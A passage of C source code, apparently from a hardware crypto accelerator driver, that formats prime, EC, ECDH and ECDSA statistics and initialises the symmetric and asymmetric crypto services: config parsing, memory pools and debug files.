(long long unsigned int)lnStats.numLnModInvCompleted,
(long long unsigned int)lnStats.numLnModInvCompletedErrors);
break;
}
case SAL_STATS_PRIME:
{
CpaCyPrimeStats64 primeStats = {0};
if (CPA_TRUE !=
pCryptoService->generic_service_info.stats->bPrimeStatsEnabled)
{
break;
}
status = cpaCyPrimeQueryStats64(pCryptoService, &primeStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyPrimeQueryStats64 returned error\n");
return 0;
}
/* Engine Info */
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" PRIME Stats " BORDER
"\n" SEPARATOR);
/* Parameter generation requests - PRIME stats */
len += snprintf(
data + len,
size - len,
BORDER
" PRIME successfull requests: %16llu " BORDER "\n" BORDER
" PRIME failed requests: %16llu " BORDER "\n" BORDER
" PRIME successfully completed: %16llu " BORDER "\n" BORDER
" PRIME failed completion: %16llu " BORDER "\n" BORDER
" PRIME completed - not a prime: %16llu " BORDER "\n",
(long long unsigned int)primeStats.numPrimeTestRequests,
(long long unsigned int)primeStats.numPrimeTestRequestErrors,
(long long unsigned int)primeStats.numPrimeTestCompleted,
(long long unsigned int)primeStats.numPrimeTestCompletedErrors,
(long long unsigned int)primeStats.numPrimeTestFailures);
break;
}
case SAL_STATS_ECC:
{
CpaCyEcStats64 ecStats = {0};
if (CPA_TRUE !=
pCryptoService->generic_service_info.stats->bEccStatsEnabled)
{
offset += DOUBLE_INCR;
break;
}
status = cpaCyEcQueryStats64(pCryptoService, &ecStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyEcQueryStats64 returned error\n");
return 0;
}
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" EC Stats " BORDER
"\n" SEPARATOR);
len += snprintf(
data + len,
size - len,
BORDER
" EC Pt Multiply Requests-Succ: %16llu " BORDER "\n" BORDER
" EC Pt Multiply Request-Err: %16llu " BORDER "\n" BORDER
" EC Pt Multiply Completed-Succ: %16llu " BORDER "\n" BORDER
" EC Pt Multiply Completed-Err: %16llu " BORDER "\n" BORDER
" EC Pt Multiply Output Invalid: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)ecStats.numEcPointMultiplyRequests,
(long long unsigned int)ecStats.numEcPointMultiplyRequestErrors,
(long long unsigned int)ecStats.numEcPointMultiplyCompleted,
(long long unsigned int)
ecStats.numEcPointMultiplyCompletedError,
(long long unsigned int)
ecStats.numEcPointMultiplyCompletedOutputInvalid);
len += snprintf(
data + len,
size - len,
BORDER
" EC Pt Verify Requests-Succ: %16llu " BORDER "\n" BORDER
" EC Pt Verify Request-Err: %16llu " BORDER "\n" BORDER
" EC Pt Verify Completed-Succ: %16llu " BORDER "\n" BORDER
" EC Pt Verify Completed-Err: %16llu " BORDER "\n" BORDER
" EC Pt Verify Output Invalid: %16llu " BORDER "\n",
(long long unsigned int)ecStats.numEcPointVerifyRequests,
(long long unsigned int)ecStats.numEcPointVerifyRequestErrors,
(long long unsigned int)ecStats.numEcPointVerifyCompleted,
(long long unsigned int)ecStats.numEcPointVerifyCompletedErrors,
(long long unsigned int)
ecStats.numEcPointVerifyCompletedOutputInvalid);
break;
}
case SAL_STATS_ECDH:
{
CpaCyEcdhStats64 ecdhStats = {0};
status = cpaCyEcdhQueryStats64(pCryptoService, &ecdhStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyEcdhQueryStats64 returned error\n");
return 0;
}
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" ECDH Stats " BORDER
"\n" SEPARATOR);
len += snprintf(
data + len,
size - len,
BORDER
" ECDH Pt Multiply Requests-Succ: %16llu " BORDER "\n" BORDER
" ECDH Pt Multiply Request-Err: %16llu " BORDER "\n" BORDER
" ECDH Pt Multiply Completed-Succ:%16llu " BORDER "\n" BORDER
" ECDH Pt Multiply Completed-Err: %16llu " BORDER "\n" BORDER
" ECDH Output Invalid: %16llu " BORDER "\n",
(long long unsigned int)ecdhStats.numEcdhPointMultiplyRequests,
(long long unsigned int)
ecdhStats.numEcdhPointMultiplyRequestErrors,
(long long unsigned int)ecdhStats.numEcdhPointMultiplyCompleted,
(long long unsigned int)
ecdhStats.numEcdhPointMultiplyCompletedError,
(long long unsigned int)
ecdhStats.numEcdhRequestCompletedOutputInvalid);
break;
}
case SAL_STATS_ECDSA:
{
CpaCyEcdsaStats64 ecdsaStats = {0};
status = cpaCyEcdsaQueryStats64(pCryptoService, &ecdsaStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyEcdsaQueryStats64 returned error\n");
return 0;
}
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" ECDSA Stats " BORDER
"\n" SEPARATOR);
len += snprintf(
data + len,
size - len,
BORDER
" ECDSA Sign R Requests-Succ: %16llu " BORDER "\n" BORDER
" ECDSA Sign R Request-Err: %16llu " BORDER "\n" BORDER
" ECDSA Sign R Completed-Succ: %16llu " BORDER "\n" BORDER
" ECDSA Sign R Completed-Err: %16llu " BORDER "\n" BORDER
" ECDSA Sign R Output Invalid: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)ecdsaStats.numEcdsaSignRRequests,
(long long unsigned int)ecdsaStats.numEcdsaSignRRequestErrors,
(long long unsigned int)ecdsaStats.numEcdsaSignRCompleted,
(long long unsigned int)ecdsaStats.numEcdsaSignRCompletedErrors,
(long long unsigned int)
ecdsaStats.numEcdsaSignRCompletedOutputInvalid);
len += snprintf(
data + len,
size - len,
BORDER
" ECDSA Sign S Requests-Succ: %16llu " BORDER "\n" BORDER
" ECDSA Sign S Request-Err: %16llu " BORDER "\n" BORDER
" ECDSA Sign S Completed-Succ: %16llu " BORDER "\n" BORDER
" ECDSA Sign S Completed-Err: %16llu " BORDER "\n" BORDER
" ECDSA Sign S Output Invalid: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)ecdsaStats.numEcdsaSignSRequests,
(long long unsigned int)ecdsaStats.numEcdsaSignSRequestErrors,
(long long unsigned int)ecdsaStats.numEcdsaSignSCompleted,
(long long unsigned int)ecdsaStats.numEcdsaSignSCompletedErrors,
(long long unsigned int)
ecdsaStats.numEcdsaSignSCompletedOutputInvalid);
len += snprintf(
data + len,
size - len,
BORDER
" ECDSA Sign RS Requests-Succ: %16llu " BORDER "\n" BORDER
" ECDSA Sign RS Request-Err: %16llu " BORDER "\n" BORDER
" ECDSA Sign RS Completed-Succ: %16llu " BORDER "\n" BORDER
" ECDSA Sign RS Completed-Err: %16llu " BORDER "\n" BORDER
" ECDSA Sign RS Output Invalid: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)ecdsaStats.numEcdsaSignRSRequests,
(long long unsigned int)ecdsaStats.numEcdsaSignRSRequestErrors,
(long long unsigned int)ecdsaStats.numEcdsaSignRSCompleted,
(long long unsigned int)
ecdsaStats.numEcdsaSignRSCompletedErrors,
(long long unsigned int)
ecdsaStats.numEcdsaSignRSCompletedOutputInvalid);
len += snprintf(
data + len,
size - len,
BORDER
" ECDSA Verify Requests-Succ: %16llu " BORDER "\n" BORDER
" ECDSA Verify Request-Err: %16llu " BORDER "\n" BORDER
" ECDSA Verify Completed-Succ: %16llu " BORDER "\n" BORDER
" ECDSA Verify Completed-Err: %16llu " BORDER "\n" BORDER
" ECDSA Verify Output Invalid: %16llu " BORDER "\n",
(long long unsigned int)ecdsaStats.numEcdsaVerifyRequests,
(long long unsigned int)ecdsaStats.numEcdsaVerifyRequestErrors,
(long long unsigned int)ecdsaStats.numEcdsaVerifyCompleted,
(long long unsigned int)
ecdsaStats.numEcdsaVerifyCompletedErrors,
(long long unsigned int)
ecdsaStats.numEcdsaVerifyCompletedOutputInvalid);
break;
}
default:
{
len += snprintf(data + len, size - len, SEPARATOR);
return 0;
}
}
return ++offset;
}
STATIC CpaStatus
SalCtrl_GetCyConcurrentReqNum(char *string1,
char *section,
char *string2,
sal_crypto_service_t *pCryptoService,
Cpa32U *pNumCyConcurrentReq,
icp_accel_dev_t *device)
{
CpaStatus status = CPA_STATUS_SUCCESS;
char adfGetParam[ADF_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
char temp_string[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
Cpa32U numCyConcurrentReq = 0;
/* get num concurrent requests from config file */
status = Sal_StringParsing(string1,
pCryptoService->generic_service_info.instance,
string2,
temp_string);
LAC_CHECK_STATUS(status);
status =
icp_adf_cfgGetParamValue(device, section, temp_string, adfGetParam);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_STRING_ERROR1("Failed to get %s from configuration file",
temp_string);
return status;
}
numCyConcurrentReq =
(Cpa32U)Sal_Strtoul(adfGetParam, NULL, SAL_CFG_BASE_DEC);
if (CPA_STATUS_FAIL == validateConcurrRequest(numCyConcurrentReq))
{
LAC_LOG_ERROR("Invalid NumConcurrentAsymRequests, valid "
"values {64, 128, 256, 512, .. 32768, 65536}");
return CPA_STATUS_FAIL;
}
*pNumCyConcurrentReq = numCyConcurrentReq;
return status;
}
#ifndef ASYM_NOT_SUPPORTED
STATIC CpaStatus SalCtrl_AsymInit(icp_accel_dev_t *device,
sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
Cpa32U numAsymConcurrentReq = 0;
char temp_string[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
char *section = DYN_SEC;
/* Instance may not in the DYN section */
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
/* get num concurrent requests from config file */
if (CPA_STATUS_SUCCESS !=
SalCtrl_GetCyConcurrentReqNum("Cy",
section,
"NumConcurrentAsymRequests",
pCryptoService,
&numAsymConcurrentReq,
device))
{
LAC_LOG_ERROR("Failed to get NumConcurrentAsymRequests");
return CPA_STATUS_FAIL;
}
/* Create transport handles */
status = SalCtrl_AsymCreateTransHandle(
device, service, numAsymConcurrentReq, section);
LAC_CHECK_STATUS(status);
/* Allocates memory pools */
pCryptoService->lac_pke_align_pool = LAC_MEM_POOL_INIT_POOL_ID;
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"AsymResizePool",
temp_string);
LAC_CHECK_STATUS_ASYM_INIT(status);
status = Lac_MemPoolCreate(
&pCryptoService->lac_pke_align_pool,
temp_string,
(((numAsymConcurrentReq + 1)) * LAC_PKE_BUFFERS_PER_OP_MAX),
LAC_BITS_TO_BYTES(LAC_MAX_OP_SIZE_IN_BITS),
LAC_64BYTE_ALIGNMENT,
CPA_FALSE,
pCryptoService->nodeAffinity);
LAC_CHECK_STATUS_ASYM_INIT(status);
/* Allocate pke request memory pool */
pCryptoService->lac_pke_req_pool = LAC_MEM_POOL_INIT_POOL_ID;
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"AsymReqPool",
temp_string);
LAC_CHECK_STATUS_ASYM_INIT(status);
status = Lac_MemPoolCreate(
&(pCryptoService->lac_pke_req_pool),
temp_string,
(((numAsymConcurrentReq + 1)) * LAC_PKE_MAX_CHAIN_LENGTH),
sizeof(lac_pke_qat_req_data_t),
LAC_64BYTE_ALIGNMENT,
CPA_TRUE,
pCryptoService->nodeAffinity);
LAC_CHECK_STATUS_ASYM_INIT(status);
/* Allocate prime memory pool */
pCryptoService->lac_prime_pool = LAC_MEM_POOL_INIT_POOL_ID;
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"AsymPrimePool",
temp_string);
LAC_CHECK_STATUS_ASYM_INIT(status);
status = Lac_MemPoolCreate(&pCryptoService->lac_prime_pool,
temp_string,
(numAsymConcurrentReq * 2 + 1),
(sizeof(CpaFlatBuffer) * (LAC_PRIME_MAX_MR + 1)),
LAC_64BYTE_ALIGNMENT,
CPA_FALSE,
pCryptoService->nodeAffinity);
LAC_CHECK_STATUS_ASYM_INIT(status);
/* Allocate EC memory pool */
pCryptoService->lac_ec_pool = LAC_MEM_POOL_INIT_POOL_ID;
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"AsymEcMemPool",
temp_string);
LAC_CHECK_STATUS_ASYM_INIT(status);
status =
Lac_MemPoolCreate(&pCryptoService->lac_ec_pool,
temp_string,
((numAsymConcurrentReq + 1)),
((LAC_EC_NUM_CONCAT_INPUTS * LAC_EC_SIZE_BYTES_MAX) +
sizeof(CpaFlatBuffer)),
LAC_64BYTE_ALIGNMENT,
CPA_FALSE,
pCryptoService->nodeAffinity);
LAC_CHECK_STATUS_ASYM_INIT(status);
#ifdef KPT
pCryptoService->lac_kpt_pool = LAC_MEM_POOL_INIT_POOL_ID;
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"AsymKptMemPool",
temp_string);
LAC_CHECK_STATUS_ASYM_INIT(status);
status =
Lac_MemPoolCreate(&pCryptoService->lac_kpt_pool,
temp_string,
((numAsymConcurrentReq + 1) * LAC_KPT_POOL_SIZE_MAX),
(LAC_KPT_SIZE_BYTES_MAX + sizeof(CpaFlatBuffer)),
LAC_64BYTE_ALIGNMENT,
CPA_FALSE,
pCryptoService->nodeAffinity);
LAC_CHECK_STATUS_ASYM_INIT(status);
pCryptoService->lac_kpt_array_pool = LAC_MEM_POOL_INIT_POOL_ID;
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"AsymKptMemArrayPool",
temp_string);
LAC_CHECK_STATUS_ASYM_INIT(status);
status = Lac_MemPoolCreate(&pCryptoService->lac_kpt_array_pool,
temp_string,
(numAsymConcurrentReq + 1),
(LAC_KPT_POOL_SIZE_MAX * sizeof(LAC_ARCH_UINT)),
LAC_64BYTE_ALIGNMENT,
CPA_FALSE,
pCryptoService->nodeAffinity);
LAC_CHECK_STATUS_ASYM_INIT(status);
#endif
/* Clear Key stats and allocate memory of SSL and TLS labels
These labels are initialised to standard values */
/* Init DH stats */
status = LacDh_Init(pCryptoService);
LAC_CHECK_STATUS_ASYM_INIT(status);
/* Init Dsa stats */
status = LacDsa_Init(pCryptoService);
LAC_CHECK_STATUS_ASYM_INIT(status);
/* Init Ec stats */
status = LacEc_Init(pCryptoService);
LAC_CHECK_STATUS_ASYM_INIT(status);
/* Init Ln Stats */
status = LacLn_Init(pCryptoService);
LAC_CHECK_STATUS_ASYM_INIT(status);
/* Init Prime stats */
status = LacPrime_Init(pCryptoService);
LAC_CHECK_STATUS_ASYM_INIT(status);
/* Init Rsa Stats */
status = LacRsa_Init(pCryptoService);
LAC_CHECK_STATUS_ASYM_INIT(status);
/* Build Flow ID for all pke request sent on this instance */
pCryptoService->pkeFlowId =
(LAC_PKE_FLOW_ID_TAG |
(pCryptoService->acceleratorNum << LAC_PKE_ACCEL_ID_BIT_POS) |
(pCryptoService->executionEngine << LAC_PKE_SLICE_ID_BIT_POS));
/* For all asym requests fill out known data */
Lac_MemPoolInitAsymCookies(pCryptoService->lac_pke_req_pool,
pCryptoService);
return status;
}
STATIC CpaStatus SalCtrl_AsymReinit(icp_accel_dev_t *device,
sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
Cpa32U numAsymConcurrentReq = 0;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
char *section = DYN_SEC;
/* Instance may not in the DYN section */
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
/* get num concurrent requests from config file */
if (CPA_STATUS_SUCCESS !=
SalCtrl_GetCyConcurrentReqNum("Cy",
section,
"NumConcurrentAsymRequests",
pCryptoService,
&numAsymConcurrentReq,
device))
{
LAC_LOG_ERROR("Failed to get NumConcurrentAsymRequests");
return CPA_STATUS_FAIL;
}
/* Create transport handles */
status = SalCtrl_AsymReinitTransHandle(
device, service, numAsymConcurrentReq, section);
LAC_CHECK_STATUS(status);
/* Enables memory pools for allocation */
Lac_MemPoolEnable(pCryptoService->lac_pke_req_pool);
/* Build Flow ID for all pke request sent on this instance */
pCryptoService->pkeFlowId =
(LAC_PKE_FLOW_ID_TAG |
(pCryptoService->acceleratorNum << LAC_PKE_ACCEL_ID_BIT_POS) |
(pCryptoService->executionEngine << LAC_PKE_SLICE_ID_BIT_POS));
/* For all asym requests fill out known data */
Lac_MemPoolInitAsymCookies(pCryptoService->lac_pke_req_pool,
pCryptoService);
return status;
}
#endif
STATIC CpaStatus SalCtrl_SymInit(icp_accel_dev_t *device,
sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
Cpa32U numSymConcurrentReq = 0;
char temp_string[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
char *section = DYN_SEC;
/* Instance may not in the DYN section */
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
/* Set default value of HMAC mode */
pCryptoService->qatHmacMode = ICP_QAT_HW_AUTH_MODE1;
/* Register callbacks for the symmetric services
* (Hash, Cipher, Algorithm-Chaining) (returns void)*/
LacSymCb_CallbacksRegister();
/* Get num concurrent requests from config file */
if (CPA_STATUS_SUCCESS !=
SalCtrl_GetCyConcurrentReqNum("Cy",
section,
"NumConcurrentSymRequests",
pCryptoService,
&numSymConcurrentReq,
device))
{
LAC_LOG_ERROR("Failed to get NumConcurrentAsymRequests");
return CPA_STATUS_FAIL;
}
/* ADF does not allow us to completely fill the ring for batch requests */
pCryptoService->maxNumSymReqBatch =
(numSymConcurrentReq - SAL_BATCH_SUBMIT_FREE_SPACE);
/* Create transport handles */
status = SalCtrl_SymCreateTransHandle(
device, service, numSymConcurrentReq, section);
LAC_CHECK_STATUS(status);
/* Allocates memory pools */
/* Create and initialise symmetric cookie memory pool */
pCryptoService->lac_sym_cookie_pool = LAC_MEM_POOL_INIT_POOL_ID;
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"SymPool",
temp_string);
LAC_CHECK_STATUS_SYM_INIT(status);
/* Note we need twice (i.e. <<1) the number of sym cookies to
support sym ring pairs (and some, for partials) */
status = Lac_MemPoolCreate(
&pCryptoService->lac_sym_cookie_pool,
temp_string,
((numSymConcurrentReq + numSymConcurrentReq + 1) << 1),
sizeof(lac_sym_cookie_t),
LAC_64BYTE_ALIGNMENT,
CPA_FALSE,
pCryptoService->nodeAffinity);
LAC_CHECK_STATUS_SYM_INIT(status);
/* For all sym cookies fill out the physical address of data that
will be set to QAT */
Lac_MemPoolInitSymCookiesPhyAddr(pCryptoService->lac_sym_cookie_pool);
/* Clear stats */
status = LacSymKey_StatsInit(pCryptoService);
LAC_CHECK_STATUS_SYM_INIT(status);
/* Clears Key stats and allocate memory of SSL and TLS labels
These labels are initialised to standard values */
status = LacSymKey_Init(pCryptoService);
LAC_CHECK_STATUS_SYM_INIT(status);
/* Initialises the hash lookup table*/
status = LacSymQat_Init(pCryptoService);
LAC_CHECK_STATUS_SYM_INIT(status);
/* Fills out content descriptor for precomputes and registers the
hash precompute callback */
status = LacSymHash_HmacPrecompInit(pCryptoService);
LAC_CHECK_STATUS_SYM_INIT(status);
/* Init the Sym stats */
status = LacSym_StatsInit(pCryptoService);
LAC_CHECK_STATUS_SYM_INIT(status);
return status;
}
STATIC CpaStatus SalCtrl_SymReinit(icp_accel_dev_t *device,
sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
Cpa32U numSymConcurrentReq = 0;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
char *section = DYN_SEC;
/* Instance may not in the DYN section */
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
/* Register callbacks for the symmetric services
* (Hash, Cipher, Algorithm-Chaining) (returns void)*/
LacSymCb_CallbacksRegister();
/* Get num concurrent requests from config file */
if (CPA_STATUS_SUCCESS !=
SalCtrl_GetCyConcurrentReqNum("Cy",
section,
"NumConcurrentSymRequests",
pCryptoService,
&numSymConcurrentReq,
device))
{
LAC_LOG_ERROR("Failed to get NumConcurrentAsymRequests");
return CPA_STATUS_FAIL;
}
/* ADF does not allow us to completely fill the ring for batch requests */
pCryptoService->maxNumSymReqBatch =
(numSymConcurrentReq - SAL_BATCH_SUBMIT_FREE_SPACE);
/* Create transport handles */
status = SalCtrl_SymReinitTransHandle(
device, service, numSymConcurrentReq, section);
LAC_CHECK_STATUS(status);
/* Enables memory pools for allocation */
Lac_MemPoolEnable(pCryptoService->lac_sym_cookie_pool);
/* For all sym cookies fill out the physical address of data that
will be set to QAT */
Lac_MemPoolInitSymCookiesPhyAddr(pCryptoService->lac_sym_cookie_pool);
return status;
}
STATIC void SalCtrl_DebugCleanup(icp_accel_dev_t *device,
sal_service_t *service)
{
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
sal_statistics_collection_t *pStatsCollection =
(sal_statistics_collection_t *)device->pQatStats;
if (CPA_TRUE == pStatsCollection->bStatsEnabled)
{
/* Clean stats */
if (NULL != pCryptoService->debug_file)
{
LAC_OS_FREE(pCryptoService->debug_file->name);
LAC_OS_FREE(pCryptoService->debug_file);
pCryptoService->debug_file = NULL;
}
}
}
STATIC void SalCtrl_DebugShutdown(icp_accel_dev_t *device,
sal_service_t *service)
{
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
SalCtrl_DebugCleanup(device, service);
pCryptoService->generic_service_info.stats = NULL;
}
STATIC void SalCtrl_DebugRestarting(icp_accel_dev_t *device,
sal_service_t *service)
{
SalCtrl_DebugCleanup(device, service);
}
STATIC CpaStatus SalCtrl_DebugInit(icp_accel_dev_t *device,
sal_service_t *service)
{
char adfGetParam[ADF_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
char temp_string[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
char *instance_name = NULL;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
sal_statistics_collection_t *pStatsCollection =
(sal_statistics_collection_t *)device->pQatStats;
CpaStatus status = CPA_STATUS_SUCCESS;
char *section = DYN_SEC;
/* Instance may not in the DYN section */
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
if (CPA_TRUE == pStatsCollection->bStatsEnabled)
{
/* Get instance name for stats */
status = LAC_OS_MALLOC(&instance_name, ADF_CFG_MAX_VAL_LEN_IN_BYTES);
LAC_CHECK_STATUS(status);
status =
Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"Name",
temp_string);
if (CPA_STATUS_SUCCESS != status)
{
LAC_OS_FREE(instance_name);
return status;
}
status =
icp_adf_cfgGetParamValue(device, section, temp_string, adfGetParam);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_STRING_ERROR1("Failed to get %s from configuration file",
temp_string);
LAC_OS_FREE(instance_name);
return status;
}
snprintf(
instance_name, ADF_CFG_MAX_VAL_LEN_IN_BYTES, "%s", adfGetParam);
status = LAC_OS_MALLOC(&pCryptoService->debug_file,
sizeof(debug_file_info_t));
if (CPA_STATUS_SUCCESS != status)
{
LAC_OS_FREE(instance_name);
return status;
}
osalMemSet(pCryptoService->debug_file, 0, sizeof(debug_file_info_t));
pCryptoService->debug_file->name = instance_name;
pCryptoService->debug_file->seq_read = SalCtrl_CryptoDebug;
pCryptoService->debug_file->private_data = pCryptoService;
pCryptoService->debug_file->parent =
pCryptoService->generic_service_info.debug_parent_dir;
}
pCryptoService->generic_service_info.stats = pStatsCollection;
return status;
}
STATIC CpaStatus SalCtrl_GetBankNum(icp_accel_dev_t *device,
Cpa32U inst,
char *section,
char *bank_name,
Cpa16U *bank)
{
char adfParamValue[ADF_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
char adfParamName[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
CpaStatus status = CPA_STATUS_SUCCESS;
status = Sal_StringParsing("Cy", inst, bank_name, adfParamName);
LAC_CHECK_STATUS(status);
status =
icp_adf_cfgGetParamValue(device, section, adfParamName, adfParamValue);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_STRING_ERROR1("Failed to get %s from configuration file",
adfParamName);
return status;
}
*bank = (Cpa16U)Sal_Strtoul(adfParamValue, NULL, SAL_CFG_BASE_DEC);
return status;
}
STATIC CpaStatus SalCtr_InstInit(icp_accel_dev_t *device,
sal_service_t *service)
{
char adfGetParam[ADF_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
char temp_string[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
char temp_string2[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
CpaStatus status = CPA_STATUS_SUCCESS;
char *section = DYN_SEC;
Cpa32S strSize = 0;
/* Instance may not in the DYN section */
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
/* Get Config Info: Accel Num, bank Num, packageID,
coreAffinity, nodeAffinity and response mode */
pCryptoService->acceleratorNum = 0;
switch (service->type)
{
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
status = SalCtrl_GetBankNum(
device,
pCryptoService->generic_service_info.instance,
section,
"BankNumberAsym",
&pCryptoService->bankNumAsym);
if (CPA_STATUS_SUCCESS != status)
return status;
break;
case SAL_SERVICE_TYPE_CRYPTO_SYM:
status = SalCtrl_GetBankNum(
device,
pCryptoService->generic_service_info.instance,
section,
"BankNumberSym",
&pCryptoService->bankNumSym);
if (CPA_STATUS_SUCCESS != status)
return status;
break;
case SAL_SERVICE_TYPE_CRYPTO:
status = SalCtrl_GetBankNum(
device,
pCryptoService->generic_service_info.instance,
section,
"BankNumberAsym",
&pCryptoService->bankNumAsym);
if (CPA_STATUS_SUCCESS != status)
return status;
status = SalCtrl_GetBankNum(
device,
pCryptoService->generic_service_info.instance,
section,
"BankNumberSym",
&pCryptoService->bankNumSym);
if (CPA_STATUS_SUCCESS != status)
return status;
break;
default:
return CPA_STATUS_FAIL;
}
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"IsPolled",
temp_string);
LAC_CHECK_STATUS(status);
status =
icp_adf_cfgGetParamValue(device, section, temp_string, adfGetParam);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_STRING_ERROR1("Failed to get %s from configuration file",
temp_string);
return status;
}
pCryptoService->isPolled =
(Cpa8U)Sal_Strtoul(adfGetParam, NULL, SAL_CFG_BASE_DEC);
#ifdef KERNEL_SPACE
/* Kernel instances do not support epoll mode */
if (SAL_RESP_EPOLL_CFG_FILE == pCryptoService->isPolled)
{
LAC_LOG_ERROR_PARAMS(
"IsPolled %u is not supported for kernel instance %s",
pCryptoService->isPolled,
temp_string);
return CPA_STATUS_FAIL;
}
#endif
#ifndef KERNEL_SPACE
/* User instances only support poll and epoll mode */
if (SAL_RESP_POLL_CFG_FILE != pCryptoService->isPolled &&
SAL_RESP_EPOLL_CFG_FILE != pCryptoService->isPolled)
{
LAC_LOG_ERROR_PARAMS("IsPolled %u is not supported for "
"user instance %s",
pCryptoService->isPolled,
temp_string);
return CPA_STATUS_FAIL;
}
#endif
status = icp_adf_cfgGetParamValue(
device, LAC_CFG_SECTION_GENERAL, ADF_DEV_PKG_ID, adfGetParam);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_STRING_ERROR1("Failed to get %s from configuration file",
ADF_DEV_PKG_ID);
return status;
}
pCryptoService->pkgID =
(Cpa16U)Sal_Strtoul(adfGetParam, NULL, SAL_CFG_BASE_DEC);
status = icp_adf_cfgGetParamValue(
device, LAC_CFG_SECTION_GENERAL, ADF_DEV_NODE_ID, adfGetParam);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_STRING_ERROR1("Failed to get %s from configuration file",
ADF_DEV_NODE_ID);
return status;
}
pCryptoService->nodeAffinity =
(Cpa32U)Sal_Strtoul(adfGetParam, NULL, SAL_CFG_BASE_DEC);
/* In case of interrupt instance, use the bank affinity set by adf_ctl
* Otherwise, use the instance affinity for backwards compatibility */
if (SAL_RESP_POLL_CFG_FILE != pCryptoService->isPolled)
{
/* Next need to read the [AcceleratorX] section of the config file */
status = Sal_StringParsing(
"Accelerator", pCryptoService->acceleratorNum, "", temp_string2);
LAC_CHECK_STATUS(status);
if (service->type == SAL_SERVICE_TYPE_CRYPTO_ASYM)
status = Sal_StringParsing("Bank",
pCryptoService->bankNumAsym,
"CoreAffinity",
temp_string);
else
/* For cy service, asym bank and sym bank will set the same
core affinity. So Just read one*/
status = Sal_StringParsing("Bank",
pCryptoService->bankNumSym,
"CoreAffinity",
temp_string);
LAC_CHECK_STATUS(status);
}
else
{
strSize = snprintf(temp_string2, sizeof(temp_string2), "%s", section);
LAC_CHECK_PARAM_RANGE(strSize, 1, sizeof(temp_string2));
status =
Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"CoreAffinity",
temp_string);
LAC_CHECK_STATUS(status);
}
status = icp_adf_cfgGetParamValue(
device, temp_string2, temp_string, adfGetParam);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_STRING_ERROR1("Failed to get %s from configuration file",
temp_string);
return status;
}
pCryptoService->coreAffinity =
(Cpa32U)Sal_Strtoul(adfGetParam, NULL, SAL_CFG_BASE_DEC);
/* No Execution Engine in DH895xcc, so make sure it is zero */
pCryptoService->executionEngine = 0;
return status;
}
/* This function:
* 1. Creates sym and asym transport handles
* 2. Allocates memory pools required by sym and asym services
.* 3. Clears the sym and asym stats counters
* 4. In case service asym or sym is enabled then this function
* only allocates resources for these services. i.e if the
* service asym is enabled then only asym transport handles
* are created and vice versa.
*/
CpaStatus SalCtrl_CryptoInit(icp_accel_dev_t *device, sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
